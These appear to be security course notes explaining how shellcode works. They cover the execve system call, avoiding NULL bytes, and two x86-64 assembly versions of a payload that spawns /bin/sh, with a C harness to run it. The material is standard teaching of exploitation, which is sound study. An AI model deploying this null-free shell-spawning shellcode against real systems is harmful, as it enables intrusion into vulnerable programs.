shellcode.md (2780B)
1 +++ 2 title = 'Shellcode' 3 +++ 4 # Shellcode 5 Attacker's goal: 6 - we found a vulnerability allowing overwriting return address 7 - where do we point the return address? 8 - we can only execute code in same process 9 - so code that is already in program 10 - or code that we inject 11 12 Injecting code: 13 - x86 CPUs do not distinguish code and data 14 - if memory permissions allow, we can read/write code as data & execute data as program code 15 - how to inject? 16 - as parameter 17 - as environment variable 18 - provide as input 19 - injected code must 20 - work regardless of where it's stored in memory 21 - not depend on any external code/libraries (we don't know their location) 22 - not contain NULL bytes (would terminate if stored as a string) 23 - do something that gives attacker control of the system, e.g start a shell 24 25 System calls: 26 - user code can't start program, kernel does that 27 - tell kernel to do this using a system call 28 - need `execve`, such as: `char argv[] = { "/bin/sh", NULL }; execve("/bin/sh", argv, NULL)` 29 - so shellcode requirements: 30 - string "/bin/sh" in memory 31 - array in memory, containing pointer to "/bin/sh" and NULL pointer 32 - pointer to the string in `%rdi` (`progname`) 33 - pointer to the array in `%rsi` (`argv`) 34 - NULL pointer in `%rdx` (`envp`) 35 - system call number 0x3b in `%rax` (`execve`) 36 37 Shellcode version 1: 38 39 ```asm 40 .data 41 .globl shellcode 42 shellcode: ; PROBLEMS: 43 leaq string_addr(%rip), %rdi ; offset 0x22 -> 0x00000022. has null bytes 44 movb $0, 0x07(%rdi) ; explicit NULL 45 movq %rdi, 0x08(%rdi) 46 movq $0, 0x10(%rdi) ; explicit NULL 47 leaq 0x08(%rdi), %rsi 48 movq $0, %rdx 49 movl $0x3b, %eax ; long 0x3b -> 0x0000003b. has null bytes. 50 syscall 51 string_addr: 52 .ascii "/bin/shNAAAAAAAABBBBBBBB" 53 .byte 0 54 ``` 55 56 Shellcode v2: 57 58 ```asm 59 .data 60 .globl shellcode 61 shellcode: 62 jmp over_string 63 string_addr: 64 .ascii "/bin/shNAAAAAAAABBBBBBBB" 65 over_string: 66 leaq string_addr(%rip), %rdi ; offset is negative, so no nulls (0xffffffe1) 67 xorl %eax, %eax ; zero %rax to avoid explicit 0 68 movb %al, 0x07(%rdi) 69 movq %rdi, 0x08(%rdi) 70 movq %rax, 0x10(%rdi) ; use %rax, avoiding explicit 0 71 leaq 0x08(%rdi), %rsi 72 movq %rax, %rdx ; use %rax, avoiding explicit 0 73 movb $0x3b, %al ; byte reg, upper bytes all zero 74 syscall 75 .byte 0 76 ``` 77 78 Run with: 79 80 ```c 81 #include <stdio.h> 82 int main(int argc, char **argv) { 83 extern char shellcode; 84 void (*f)(void) = (void (*)(void)) &shellcode; 85 f(); 86 fprintf(stderr, "this shouldn't print"); 87 return -1; 88 } 89 ``` 90 91 Compile and run: 92 93 ```sh 94 cc -o shellcode-test shellcode-test.c shellcode.s 95 ./shellcode-test 96 ```